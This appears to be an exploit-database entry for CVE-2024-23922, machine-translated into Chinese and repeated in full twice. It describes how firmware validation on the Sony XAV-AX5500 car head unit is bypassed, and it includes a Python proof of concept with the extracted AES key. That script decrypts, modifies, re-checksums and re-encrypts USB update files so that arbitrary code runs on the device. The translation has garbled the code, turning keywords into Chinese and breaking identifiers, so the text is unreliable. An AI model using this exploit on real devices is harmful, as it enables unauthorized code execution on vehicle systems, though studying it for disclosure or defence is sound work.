#利用标题: Sony XAV-AX5500固件更新验证远程代码执行
#日期: 11-FEB-2025
#利用作者: lkushinada
#供应商homepage: https://www.sony.com/et/electronics/in-car-recevers-players-players/xav-ax550000
#软件link: https://archive.org/details/xav-ax-5500-v-113
#版本: 1.13
#测试在: Sony Xav-Ax5500
#CVE : CVE-2024-23922
#来自NIST CVE详细信息:
#====
#此漏洞允许物理呈现攻击者在受影响的情况下执行任意代码
#Sony XAV-AX5500设备的安装。不需要身份验证来利用此
#漏洞。在处理软件更新中的特定缺陷存在。问题
#由于缺乏适当验证软件更新软件包的结果。攻击者可以利用
#在设备上下文中执行代码的漏洞。
#是ZDI-CAN-22939
#====
# # 概括
#索尼对许多XAV-AX产品的固件验证依赖于对称密码学,
#他们的包装格式的模糊性和一种怪异的校验和方法而不是任何真实的固件
#签名机制。因此,这可以利用绕过固件验证的工艺更新
#并允许基于USB的攻击者在信息娱乐单元上获得RCE。
#CVE Advision中未提及的是,此方法适用于索尼的大多数
#使用类似芯片组或固件包装格式的信息娱乐单元和产品。测试
#要在v2.00之前使用大多数固件版本。
##威胁模型
#具有物理访问自动媒体单元的攻击者通常可以使用其他方法
#取得恶意结果。在本文中调查固件的原因
#是学术,探索和警告,即在类似的其他系统中受到哪些其他系统。
# 方式?如果是,它绕过多么微不足道?
##免责声明
#本文中的信息仅用于教育目的。
#用汽车系统对汽车系统进行篡改会带来风险,如果您不了解,您应该
#不做。
#作者不承担任何责任,对出现的结果或附带损害赔偿
#从本文档中使用任何内容。
##单元
###处理器
# -DAC
# - 系统管理控制器(SMC)
# - 应用程序处理器
# - 显示处理器
#来自手机和台式计算机环境,可能会用来思考
#在处理能力方面,应用程序处理器是系统中最强大的芯片,
#大小,功耗和系统层次结构。这个平台的第一个奇数是
#应用程序处理器不是最强大的;那个荣誉是DAC,一个强壮的手臂芯片
# 木板。
#应用程序处理器似乎不是系统上组件的编排。
#扮演监管机构,权力状态管理和输入角色的SMC TKE(思考遥控器
#控件,方向盘按钮按下)路由。
#出于我们的目的,这是我们感兴趣的应用程序处理器,因为它是
#负责通过USB更新设备的系统。
###接口
#我们将通过USB攻击该设备,因为它是最容易暴露的
#与所有者和可能的攻击者接口。
#虽然应用程序处理器确实具有UART接口,但最新的迭代
#单位不会露出任何通过UART调试的标题,而一条活动的UART线被发现为
#活动是用于在SMC和App处理器之间传递的消息,而不是调试目的。同样,没有
#发现暴露的JTAG接口很容易在该装置的最新迭代中暴露出来。索尼的
#文档表明这些文档未启用,但在测试过程中无法验证。在
#至少,没有发现JTAG在无障碍界面上暴露。
### 贮存
#被分析的板有两个SPI和Flash芯片,其中一个带有未加密的固件图像。这
#固件是拉德。分析了SPI Flash的内容以确定许多细节
#在本报告中讨论。
###更新程序
#在索尼的支持网站上提供了更新。邮政编码包含三个文件:
#-SHDS1132.UP6
#-SHMC1132.U88
#-SHSO1132.FIR
#这些文件中最大的文件(8兆),fir,是一种自定义格式,并且看起来是加密的。
#FIR文件的标题包含固件发布日期,Strings Krselco和
#跳过,零的一部分,然后是HighH Entropy部分,以及一些重复的感兴趣模式:
#00002070 B7 72 10 03 00 8C 82 7E AA D1 83 58 23 EF 82 5C | .r .〜. x#. \ |
# *
#00002860 B7 72 10 03 00 8C 82 7E AA D1 83 58 23 EF 82 5C | .r .〜. X#. \ |
#00744110 B7 72 10 03 00 8C 82 7E AA D1 83 58 23 EF 82 5C | .r .〜. X#. \ |
# *
#00800020 B7 72 10 03 00 8C 82 7E AA D1 83 58 23 EF 82 5C | .r .〜. x#. \ |
### Spi Flash
#倾倒SPI闪光灯的内容显示了类似的布局,其偏移略有不同:
#00001FE0 10 10 10 10 10 10 10 10 10 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF | .......
#00001FF0 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF | ...............
# *
#000027F0 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 00 03 E7 52 | ............................... R |
#00002800 52 61 72 21 1A 07 00 CF 90 73 00 00 0D 00 00 00 00 00 | RAR! S . | |
#
#0007FFFF0 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 00 6C 40 8B | ...... l@|
#00080000 52 61 72 21 1A 07 00 CF 90 73 00 00 0D 00 00 00 00 | RAR! S . |
#.
#00744090 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF | ...............
# *
#00778000
#
#这给出了偏移和间距,我们怀疑.fir与SPI的内容匹配。
#在0x2800和0x80000处将RAR解压缩,我们将获得恢复和主要应用程序。
#一旦我们删除了包装字节,请看到相对模式与FF保持一致,请给予
#我们有很强的指示加密功能正在以ECB式配置为操作,
#给我们途径,即使我们不恢复钥匙,也有可能进行修改
#取决于校验和计算的方式。
### 固件
#恢复应用程序包含解压缩,解密和校验和方法。
#将recovery_16.bin放入ghidra并设置内存图以将我们加载到0x2800,
#我们开始以:的方式来查看相关功能
# - 寻找已知字符串(Krselco)
# - 分析逻辑并寻找明显的“如果通过了,请开始更新,否则失败”
# - 寻找看起来像加密的东西(一个功能中的数学的负载)
我们感兴趣的#,IS:
# -0x0082f4 -Krselco和地址之间的strcmp ats insing固件更新为,加上0x10
# -0x00897a-一个函数,总计字节总数,直到我们达到0xA5A5A5A5
# -0x02D4CE- AES解密函数
# -0x040dd4 -strcmp(?)
# -0x040AA4 -memcpy(?)
# -0x046490-供应商加上白痴将用于运气的数字,其次是足够的
#填充零以使我们进入16个字节密钥
#这为我们提供了我们需要的所有信息,除了对一般软件包做出一些猜测
#和更新程序包的标题布局,以制作允许任意的更新包装器
#修改固件。
##概念证明
#下面的POC将进行现有的USB固件更新,解密并提取主要二进制文件,
#在进行修改时暂停(例如,更改逻辑或修改消息),然后重新包装
#更新。
# ## 要求
#-单一系统
#- Winrar 2.0(埃及人用来建造金字塔的版本)
# ## 用法
#cve-2024-23922.py path_to_to_winrar source.fir output.fir
导入argparse
导入系统
导入操作系统
导入tempfile
导入封闭
来自cryptography.hazmat.primitives.ciphers导入密码,算法,模式
来自cryptography.hazmat.backends导入default_backend
#.fir中发现的文件名
main_binary_name='main_16.bin'
main_rar_name='main_16.rar'
decrypted_file_name='decrypt.bin'
encrypted_file_name='encrypt.bin'
#.fir中的倒数
header_length=0x80
recovery_offset=0x2800
main_offset=0x80000
checksum_offset=0x800000-0x10
checksum_size=0x4
rar_length_offset=0x4
rar_length_size=0x4
#来自0x46490 in recovery_16.bin
encryption_key=b'\ x54 \ x41 \ x4d \ x55 \ x4c \ x4c \ x31 \ x32 \ x33 \ x33 \ x34 \ x34 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00
def decrypt_file(input_file,output_file):
后端=default_backend()
cipher=cipher(algorithms.aes(encryption_key),modes.ecb(),后端=后端)
解密=cipher.decryptor()
使用file:打开(input_file,'rb')
ciphertext=file.read()
#剥离未加密的标题
ciphertext=ciphertext [header_length:]
decrypted_data=decryptor.update(ciphertext) + decryptor.finalize()
用file:打开(output_file,'wb')
file.write(decrypted_data)
DEF AES_ENCRYPT_FILE(input_file,output_file):
后端=default_backend()
cipher=cipher(algorithms.aes(encryption_key),modes.ecb(),后端=后端)
Encryptor=cipher.cyptor()
使用file:打开(input_file,'rb')
明文=file.read()
ciphertext=encryptor.update(plaintext) + encryptor.finalize()
用file:打开(output_file,'wb')
file.write(ciphertext)
def get_sony_32(数据):
csum=int()
对于data:中的i
csum=csum + i
返回CSUM%2147483648#2^31
def validate_args(winrar_path,source_file,destinaty_file):
#检查Winrar是否存在并且是文件
如果不是OS.Path.Isfile(winrar_path)或不os.Access(winrar_path,os.x_ok):
打印(f'[x] error:指定的winrar路径'{winrar_path}'不是有效的可执行文件。')
sys.exit(1)
#检查源文件是否存在
如果不是OS.PATH.ISFILE(source_file):
打印(f'[x] error:指定的源文件'{source_file}'不存在。')
sys.exit(1)
#读取8个字节从源文件中的offset0x10读取
TRY:
使用open(source_file,'rb')为f:
F.Seek(0x10)
签名=f.Read(8)
如果签名!=b'krseleco':
打印(f'[x] error:源文件'{source_file}'不包含预期签名。')
sys.exit(1)
除异常外,E:
打印(f'[x] error:无法从'{source_file}': {e}')读取
sys.exit(1)
#检查目标文件是否已经存在
如果OS.Path.Exists(destination_file):
打印(f'[x] error:目标文件'{destination_file}'已经存在。')
sys.exit(1)
def main():
parser=argparse.argumentparser(description='cve-2024-23922 sony xav-ax5500固件修改器')
parser.add_argument('winrar_path',help='winrar 2.0的路径可执行文件(是的,古老的)')
parser.add_argument('source_file',help='原始.fir文件的路径')
parser.add_argument('destination_file',help='将修改后的.fir文件写入')
args=parser.parse_args()
validate_args(args.winrar_path,args.source_file,args.destination_file)
rar_2_path=args.winrar_path
good_firmware_file=args.source_file
destination_firmware_file=args.destination_file
#制作临时目录
workdir=tempfile.mkdtemp(prefix='sony_firmware_modifications')
#将良好的固件文件复制到临时目录中
temp_fir_file=os.path.join(workdir,os.path.basename(good_firmware_file))
shutil.copyfile(good_firmware_file,temp_fir_file)
打印('[+]砍掉头并解密内容')
decrypted_file_path=os.path.join(workdir,decrypted_file_name)
decrypt_file(input_file=temp_fir_file,output_file=decrypted_file_path)
打印('[+]倾倒rar文件')
用file:打开(decrypted_file_path,'rb')
#在RAR文件之前,RAR文件有一个4个字节长度标头。得到。
file.seek(main_offset-rar_length_offset)
Original_rar_length=int.from_bytes(file.read(rar_length_size),'big')
rar_file_bytes=file.read(onimart_rar_length)
#现在倒掉
rar_file_path=os.path.join(workdir,main_rar_name)
与RARFILE:一起开放(rar_file_path,'wb')
rarfile.write(rar_file_bytes)
#检查文件的数据是否与标题告诉我们的内容匹配
dumped_rar_size=os.stat(rar_file_path).st_size
如果dumped_rar_size!=ointers_rar_length:
print('[!]提取的档案don Match,可能存在损坏',dumped_rar_size,onigral_rar_length)
打印('[+]从RAR文件中提取主要二进制文件')
OS.System('unrar x' + rar_file_path +'' + workdir)
打印('[!]好吧,我现在要等到您有机会进行修改')
打印(请修改此文件:',OS.PATH.JOIN(WorkDir,main_binary_name))
输入()
打印('[+]继续')
打印('[+]将主二进制重新放回稀有文件中')
OS.System('wine' + rar_2_path +'u -tk -ep' + rar_file_path +'' + workdir +'/' + main_binary_name)
#我们可以通过编写一些FF来解决这个问题
new_rar_size=os.stat(rar_file_path).st_size
如果dumped_rar_size os.stat(rar_file_path).st_size:
打印('[!]稀有大小比旧的大小。这可能会导致问题。')
打印('[!]推动任何钥匙继续下去,Ctrl+C进行中止')
输入()
用file:开放(decrypred_file_path,'r+b')
#在RAR文件之前,RAR文件有一个4个字节长度标头。回到那里
file.seek(main_offset-rar_length_offset)
#用新尺寸覆盖旧尺寸
file.write(new_rar_size.to_bytes(rar_length_size,'big'))
打印('[+]从主容器中删除旧的RAR')
#通过将旧rar从主容器中删除
file.write(b'\ xff'*原始_rar_length)
#寻求开始
file.seek(main_offset)
打印('[+]将新的RAR加载回主容器')
与RARFILE:一起开放(RAR_FILE_PATH,'rb')
new_rarfile_bytes=rarfile.read()
file.write(new_rarfile_bytes)
打印('[+]更新校验和)
用file:打开(decrypted_file_path,'rb')
内容=file.read()
内容=目录[:-0x0010]
s32_sum=get_sony_32(内容)
用file:开放(decrypred_file_path,'r+b')
file.seek(checksum_offset)
#读出当前的校验和
old_checksum_bytes=file.read(checksum_size)
print('Old CheckSum:',int.from_bytes(old_checksum_bytes,'big'),old_checksum_bytes)
#返回并使用新的校验和进行更新
打印('new CheckSum:',S32_SUM,十六进制(S32_SUM))
new_checksum_bytes=s32_sum.to_bytes(checksum_size,'big')
file.seek(checksum_offset)
file.write(new_checksum_bytes)
打印('[+]加密主容器备份')
encrypted_file_path=os.path.join(workdir,encrypted_file_name)
AES_ENCRYPT_FILE(decrypted_file_path,encrypted_file_path)
打印('[+]将主容器重新触及到标题并写入dest')
使用open(destination_firmware_file,'wb')作为file:
以firmfile:的开放(temp_fir_file,'rb')
header=firmfile.read(header_length)
file.write(标题)
使用开放(encrypted_file_path,'rb')作为encfile:
enc_contents=encfile.read()
file.write(enc_contents)
打印('[+]完成!删除临时文件的任何键,ctrl+c以保持它们。')
输入()
shutil.rmtree(workdir)
如果name=='__ -Main __':
主要的()
#日期: 11-FEB-2025
#利用作者: lkushinada
#供应商homepage: https://www.sony.com/et/electronics/in-car-recevers-players-players/xav-ax550000
#软件link: https://archive.org/details/xav-ax-5500-v-113
#版本: 1.13
#测试在: Sony Xav-Ax5500
#CVE : CVE-2024-23922
#来自NIST CVE详细信息:
#====
#此漏洞允许物理呈现攻击者在受影响的情况下执行任意代码
#Sony XAV-AX5500设备的安装。不需要身份验证来利用此
#漏洞。在处理软件更新中的特定缺陷存在。问题
#由于缺乏适当验证软件更新软件包的结果。攻击者可以利用
#在设备上下文中执行代码的漏洞。
#是ZDI-CAN-22939
#====
# # 概括
#索尼对许多XAV-AX产品的固件验证依赖于对称密码学,
#他们的包装格式的模糊性和一种怪异的校验和方法而不是任何真实的固件
#签名机制。因此,这可以利用绕过固件验证的工艺更新
#并允许基于USB的攻击者在信息娱乐单元上获得RCE。
#CVE Advision中未提及的是,此方法适用于索尼的大多数
#使用类似芯片组或固件包装格式的信息娱乐单元和产品。测试
#要在v2.00之前使用大多数固件版本。
##威胁模型
#具有物理访问自动媒体单元的攻击者通常可以使用其他方法
#取得恶意结果。在本文中调查固件的原因
#是学术,探索和警告,即在类似的其他系统中受到哪些其他系统。
# 方式?如果是,它绕过多么微不足道?
##免责声明
#本文中的信息仅用于教育目的。
#用汽车系统对汽车系统进行篡改会带来风险,如果您不了解,您应该
#不做。
#作者不承担任何责任,对出现的结果或附带损害赔偿
#从本文档中使用任何内容。
##单元
###处理器
# -DAC
# - 系统管理控制器(SMC)
# - 应用程序处理器
# - 显示处理器
#来自手机和台式计算机环境,可能会用来思考
#在处理能力方面,应用程序处理器是系统中最强大的芯片,
#大小,功耗和系统层次结构。这个平台的第一个奇数是
#应用程序处理器不是最强大的;那个荣誉是DAC,一个强壮的手臂芯片
# 木板。
#应用程序处理器似乎不是系统上组件的编排。
#扮演监管机构,权力状态管理和输入角色的SMC TKE(思考遥控器
#控件,方向盘按钮按下)路由。
#出于我们的目的,这是我们感兴趣的应用程序处理器,因为它是
#负责通过USB更新设备的系统。
###接口
#我们将通过USB攻击该设备,因为它是最容易暴露的
#与所有者和可能的攻击者接口。
#虽然应用程序处理器确实具有UART接口,但最新的迭代
#单位不会露出任何通过UART调试的标题,而一条活动的UART线被发现为
#活动是用于在SMC和App处理器之间传递的消息,而不是调试目的。同样,没有
#发现暴露的JTAG接口很容易在该装置的最新迭代中暴露出来。索尼的
#文档表明这些文档未启用,但在测试过程中无法验证。在
#至少,没有发现JTAG在无障碍界面上暴露。
### 贮存
#被分析的板有两个SPI和Flash芯片,其中一个带有未加密的固件图像。这
#固件是拉德。分析了SPI Flash的内容以确定许多细节
#在本报告中讨论。
###更新程序
#在索尼的支持网站上提供了更新。邮政编码包含三个文件:
#-SHDS1132.UP6
#-SHMC1132.U88
#-SHSO1132.FIR
#这些文件中最大的文件(8兆),fir,是一种自定义格式,并且看起来是加密的。
#FIR文件的标题包含固件发布日期,Strings Krselco和
#跳过,零的一部分,然后是HighH Entropy部分,以及一些重复的感兴趣模式:
#00002070 B7 72 10 03 00 8C 82 7E AA D1 83 58 23 EF 82 5C | .r .〜. x#. \ |
# *
#00002860 B7 72 10 03 00 8C 82 7E AA D1 83 58 23 EF 82 5C | .r .〜. X#. \ |
#00744110 B7 72 10 03 00 8C 82 7E AA D1 83 58 23 EF 82 5C | .r .〜. X#. \ |
# *
#00800020 B7 72 10 03 00 8C 82 7E AA D1 83 58 23 EF 82 5C | .r .〜. x#. \ |
### Spi Flash
#倾倒SPI闪光灯的内容显示了类似的布局,其偏移略有不同:
#00001FE0 10 10 10 10 10 10 10 10 10 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF | .......
#00001FF0 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF | ...............
# *
#000027F0 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 00 03 E7 52 | ............................... R |
#00002800 52 61 72 21 1A 07 00 CF 90 73 00 00 0D 00 00 00 00 00 | RAR! S . | |
#
#0007FFFF0 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 00 6C 40 8B | ...... l@|
#00080000 52 61 72 21 1A 07 00 CF 90 73 00 00 0D 00 00 00 00 | RAR! S . |
#.
#00744090 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF | ...............
# *
#00778000
#
#这给出了偏移和间距,我们怀疑.fir与SPI的内容匹配。
#在0x2800和0x80000处将RAR解压缩,我们将获得恢复和主要应用程序。
#一旦我们删除了包装字节,请看到相对模式与FF保持一致,请给予
#我们有很强的指示加密功能正在以ECB式配置为操作,
#给我们途径,即使我们不恢复钥匙,也有可能进行修改
#取决于校验和计算的方式。
### 固件
#恢复应用程序包含解压缩,解密和校验和方法。
#将recovery_16.bin放入ghidra并设置内存图以将我们加载到0x2800,
#我们开始以:的方式来查看相关功能
# - 寻找已知字符串(Krselco)
# - 分析逻辑并寻找明显的“如果通过了,请开始更新,否则失败”
# - 寻找看起来像加密的东西(一个功能中的数学的负载)
我们感兴趣的#,IS:
# -0x0082f4 -Krselco和地址之间的strcmp ats insing固件更新为,加上0x10
# -0x00897a-一个函数,总计字节总数,直到我们达到0xA5A5A5A5
# -0x02D4CE- AES解密函数
# -0x040dd4 -strcmp(?)
# -0x040AA4 -memcpy(?)
# -0x046490-供应商加上白痴将用于运气的数字,其次是足够的
#填充零以使我们进入16个字节密钥
#这为我们提供了我们需要的所有信息,除了对一般软件包做出一些猜测
#和更新程序包的标题布局,以制作允许任意的更新包装器
#修改固件。
##概念证明
#下面的POC将进行现有的USB固件更新,解密并提取主要二进制文件,
#在进行修改时暂停(例如,更改逻辑或修改消息),然后重新包装
#更新。
# ## 要求
#-单一系统
#- Winrar 2.0(埃及人用来建造金字塔的版本)
# ## 用法
#cve-2024-23922.py path_to_to_winrar source.fir output.fir
导入argparse
导入系统
导入操作系统
导入tempfile
导入封闭
来自cryptography.hazmat.primitives.ciphers导入密码,算法,模式
来自cryptography.hazmat.backends导入default_backend
#.fir中发现的文件名
main_binary_name='main_16.bin'
main_rar_name='main_16.rar'
decrypted_file_name='decrypt.bin'
encrypted_file_name='encrypt.bin'
#.fir中的倒数
header_length=0x80
recovery_offset=0x2800
main_offset=0x80000
checksum_offset=0x800000-0x10
checksum_size=0x4
rar_length_offset=0x4
rar_length_size=0x4
#来自0x46490 in recovery_16.bin
encryption_key=b'\ x54 \ x41 \ x4d \ x55 \ x4c \ x4c \ x31 \ x32 \ x33 \ x33 \ x34 \ x34 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00
def decrypt_file(input_file,output_file):
后端=default_backend()
cipher=cipher(algorithms.aes(encryption_key),modes.ecb(),后端=后端)
解密=cipher.decryptor()
使用file:打开(input_file,'rb')
ciphertext=file.read()
#剥离未加密的标题
ciphertext=ciphertext [header_length:]
decrypted_data=decryptor.update(ciphertext) + decryptor.finalize()
用file:打开(output_file,'wb')
file.write(decrypted_data)
DEF AES_ENCRYPT_FILE(input_file,output_file):
后端=default_backend()
cipher=cipher(algorithms.aes(encryption_key),modes.ecb(),后端=后端)
Encryptor=cipher.cyptor()
使用file:打开(input_file,'rb')
明文=file.read()
ciphertext=encryptor.update(plaintext) + encryptor.finalize()
用file:打开(output_file,'wb')
file.write(ciphertext)
def get_sony_32(数据):
csum=int()
对于data:中的i
csum=csum + i
返回CSUM%2147483648#2^31
def validate_args(winrar_path,source_file,destinaty_file):
#检查Winrar是否存在并且是文件
如果不是OS.Path.Isfile(winrar_path)或不os.Access(winrar_path,os.x_ok):
打印(f'[x] error:指定的winrar路径'{winrar_path}'不是有效的可执行文件。')
sys.exit(1)
#检查源文件是否存在
如果不是OS.PATH.ISFILE(source_file):
打印(f'[x] error:指定的源文件'{source_file}'不存在。')
sys.exit(1)
#读取8个字节从源文件中的offset0x10读取
TRY:
使用open(source_file,'rb')为f:
F.Seek(0x10)
签名=f.Read(8)
如果签名!=b'krseleco':
打印(f'[x] error:源文件'{source_file}'不包含预期签名。')
sys.exit(1)
除异常外,E:
打印(f'[x] error:无法从'{source_file}': {e}')读取
sys.exit(1)
#检查目标文件是否已经存在
如果OS.Path.Exists(destination_file):
打印(f'[x] error:目标文件'{destination_file}'已经存在。')
sys.exit(1)
def main():
parser=argparse.argumentparser(description='cve-2024-23922 sony xav-ax5500固件修改器')
parser.add_argument('winrar_path',help='winrar 2.0的路径可执行文件(是的,古老的)')
parser.add_argument('source_file',help='原始.fir文件的路径')
parser.add_argument('destination_file',help='将修改后的.fir文件写入')
args=parser.parse_args()
validate_args(args.winrar_path,args.source_file,args.destination_file)
rar_2_path=args.winrar_path
good_firmware_file=args.source_file
destination_firmware_file=args.destination_file
#制作临时目录
workdir=tempfile.mkdtemp(prefix='sony_firmware_modifications')
#将良好的固件文件复制到临时目录中
temp_fir_file=os.path.join(workdir,os.path.basename(good_firmware_file))
shutil.copyfile(good_firmware_file,temp_fir_file)
打印('[+]砍掉头并解密内容')
decrypted_file_path=os.path.join(workdir,decrypted_file_name)
decrypt_file(input_file=temp_fir_file,output_file=decrypted_file_path)
打印('[+]倾倒rar文件')
用file:打开(decrypted_file_path,'rb')
#在RAR文件之前,RAR文件有一个4个字节长度标头。得到。
file.seek(main_offset-rar_length_offset)
Original_rar_length=int.from_bytes(file.read(rar_length_size),'big')
rar_file_bytes=file.read(onimart_rar_length)
#现在倒掉
rar_file_path=os.path.join(workdir,main_rar_name)
与RARFILE:一起开放(rar_file_path,'wb')
rarfile.write(rar_file_bytes)
#检查文件的数据是否与标题告诉我们的内容匹配
dumped_rar_size=os.stat(rar_file_path).st_size
如果dumped_rar_size!=ointers_rar_length:
print('[!]提取的档案don Match,可能存在损坏',dumped_rar_size,onigral_rar_length)
打印('[+]从RAR文件中提取主要二进制文件')
OS.System('unrar x' + rar_file_path +'' + workdir)
打印('[!]好吧,我现在要等到您有机会进行修改')
打印(请修改此文件:',OS.PATH.JOIN(WorkDir,main_binary_name))
输入()
打印('[+]继续')
打印('[+]将主二进制重新放回稀有文件中')
OS.System('wine' + rar_2_path +'u -tk -ep' + rar_file_path +'' + workdir +'/' + main_binary_name)
#我们可以通过编写一些FF来解决这个问题
new_rar_size=os.stat(rar_file_path).st_size
如果dumped_rar_size os.stat(rar_file_path).st_size:
打印('[!]稀有大小比旧的大小。这可能会导致问题。')
打印('[!]推动任何钥匙继续下去,Ctrl+C进行中止')
输入()
用file:开放(decrypred_file_path,'r+b')
#在RAR文件之前,RAR文件有一个4个字节长度标头。回到那里
file.seek(main_offset-rar_length_offset)
#用新尺寸覆盖旧尺寸
file.write(new_rar_size.to_bytes(rar_length_size,'big'))
打印('[+]从主容器中删除旧的RAR')
#通过将旧rar从主容器中删除
file.write(b'\ xff'*原始_rar_length)
#寻求开始
file.seek(main_offset)
打印('[+]将新的RAR加载回主容器')
与RARFILE:一起开放(RAR_FILE_PATH,'rb')
new_rarfile_bytes=rarfile.read()
file.write(new_rarfile_bytes)
打印('[+]更新校验和)
用file:打开(decrypted_file_path,'rb')
内容=file.read()
内容=目录[:-0x0010]
s32_sum=get_sony_32(内容)
用file:开放(decrypred_file_path,'r+b')
file.seek(checksum_offset)
#读出当前的校验和
old_checksum_bytes=file.read(checksum_size)
print('Old CheckSum:',int.from_bytes(old_checksum_bytes,'big'),old_checksum_bytes)
#返回并使用新的校验和进行更新
打印('new CheckSum:',S32_SUM,十六进制(S32_SUM))
new_checksum_bytes=s32_sum.to_bytes(checksum_size,'big')
file.seek(checksum_offset)
file.write(new_checksum_bytes)
打印('[+]加密主容器备份')
encrypted_file_path=os.path.join(workdir,encrypted_file_name)
AES_ENCRYPT_FILE(decrypted_file_path,encrypted_file_path)
打印('[+]将主容器重新触及到标题并写入dest')
使用open(destination_firmware_file,'wb')作为file:
以firmfile:的开放(temp_fir_file,'rb')
header=firmfile.read(header_length)
file.write(标题)
使用开放(encrypted_file_path,'rb')作为encfile:
enc_contents=encfile.read()
file.write(enc_contents)
打印('[+]完成!删除临时文件的任何键,ctrl+c以保持它们。')
输入()
shutil.rmtree(workdir)
如果name=='__ -Main __':
主要的()